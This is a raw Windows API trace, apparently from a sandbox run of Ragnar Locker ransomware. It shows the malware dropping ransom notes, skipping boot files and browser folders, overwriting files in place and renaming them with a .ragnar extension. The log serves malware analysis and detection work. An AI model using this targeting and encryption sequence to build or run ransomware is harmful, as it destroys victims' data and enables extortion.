ftLastAccessTime.dwLowDateTime=0x7cb7a740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.329] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.329] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0071.329] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\RGNR_FD7BD9FC.txt") returned=".txt" [0071.329] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0071.329] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.329] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.329] lstrcpyW (in: lpString1=0x1eab72, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0071.329] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned=".PNG" [0071.329] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0071.329] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0071.329] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0071.329] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0071.329] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0071.329] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0071.329] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0071.329] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0071.329] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0071.330] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0071.330] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0071.330] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0071.330] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0071.330] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0071.330] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0071.330] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0071.330] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0071.330] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0071.330] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0071.330] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0071.330] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0071.330] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0071.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0071.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0071.330] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=31837) returned 1 [0071.331] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x7c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.331] GetProcessHeap () returned 0x580000 [0071.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.331] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.333] VirtualAlloc (lpAddress=0x0, dwSize=0x7c5d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.333] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.333] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.333] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7c5d, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x7c5d, lpOverlapped=0x0) returned 1 [0071.334] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.334] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c5d, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.335] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7c5d, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x7c5d, lpOverlapped=0x0) returned 1 [0071.335] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c5d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.335] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.335] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x7c5d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.335] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.335] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.335] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.335] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.335] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.335] GetProcessHeap () returned 0x580000 [0071.335] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.336] CloseHandle (hObject=0x100) returned 1 [0071.338] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" [0071.338] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0071.338] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.339] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.339] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.339] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0071.339] lstrcmpiW (lpString1="BREEZE", lpString2=".") returned 1 [0071.339] lstrcmpiW (lpString1="BREEZE", lpString2="..") returned 1 [0071.339] lstrcmpiW (lpString1="BREEZE", lpString2="Windows") returned -1 [0071.339] lstrcmpiW (lpString1="BREEZE", lpString2="Windows.old") returned -1 [0071.339] lstrcmpiW (lpString1="BREEZE", lpString2="Tor browser") returned -1 [0071.339] lstrcmpiW (lpString1="BREEZE", lpString2="Internet Explorer") returned -1 [0071.339] lstrcmpiW (lpString1="BREEZE", lpString2="Google") returned -1 [0071.339] lstrcmpiW (lpString1="BREEZE", lpString2="Opera") returned -1 [0071.339] lstrcmpiW (lpString1="BREEZE", lpString2="Opera Software") returned -1 [0071.339] lstrcmpiW (lpString1="BREEZE", lpString2="Mozilla") returned -1 [0071.339] lstrcmpiW (lpString1="BREEZE", lpString2="Mozilla Firefox") returned -1 [0071.339] lstrcmpiW (lpString1="BREEZE", lpString2="$Recycle.Bin") returned 1 [0071.339] lstrcmpiW (lpString1="BREEZE", lpString2="ProgramData") returned -1 [0071.339] lstrcmpiW (lpString1="BREEZE", lpString2="All Users") returned 1 [0071.339] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0071.339] lstrcpyW (in: lpString1=0x1eb638, lpString2="BREEZE" | out: lpString1="BREEZE") returned="BREEZE" [0071.340] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\" [0071.340] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\" [0071.340] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\RGNR_FD7BD9FC.txt" [0071.340] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0071.343] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*" [0071.343] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.343] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.343] lstrcpyW (in: lpString1=0x1ea75a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cc38e20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cc38e20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.343] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0071.343] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cc38e20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cc38e20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.343] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0071.343] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0071.343] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0071.343] lstrcmpiW (lpString1="BREEZE.ELM", lpString2=".") returned 1 [0071.343] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="..") returned 1 [0071.343] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0071.343] lstrcmpiW (lpString1="BREEZE.INF", lpString2=".") returned 1 [0071.344] lstrcmpiW (lpString1="BREEZE.INF", lpString2="..") returned 1 [0071.344] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.344] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0071.344] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0071.344] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cc38e20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7cc38e20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.344] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0071.344] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0071.344] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.344] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0071.344] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0071.344] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.344] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cc38e20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cc38e20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.344] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cc38e20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cc38e20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.344] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0071.344] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0071.344] lstrcpyW (in: lpString1=0x1eab6e, lpString2="BREEZE.ELM" | out: lpString1="BREEZE.ELM") returned="BREEZE.ELM" [0071.344] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned=".ELM" [0071.344] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.344] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="autorun.inf") returned 1 [0071.344] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="boot.ini") returned 1 [0071.344] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="bootfont.bin") returned 1 [0071.344] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="bootsect.bak") returned 1 [0071.344] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="bootmgr") returned 1 [0071.344] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="bootmgr.efi") returned 1 [0071.344] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="bootmgfw.efi") returned 1 [0071.344] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="desktop.ini") returned -1 [0071.345] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="iconcache.db") returned -1 [0071.345] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="ntldr") returned -1 [0071.345] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="ntuser.dat") returned -1 [0071.345] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="ntuser.dat.log") returned -1 [0071.345] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="ntuser.ini") returned -1 [0071.345] lstrcmpiW (lpString1="BREEZE.ELM", lpString2="thumbs.db") returned -1 [0071.345] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0071.345] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0071.345] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0071.345] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0071.345] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0071.345] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0071.345] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0071.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm")) returned 0x20 [0071.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.345] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=107831) returned 1 [0071.345] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1a52e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.345] GetProcessHeap () returned 0x580000 [0071.345] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.345] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.379] VirtualAlloc (lpAddress=0x0, dwSize=0x1a537, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.379] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.379] 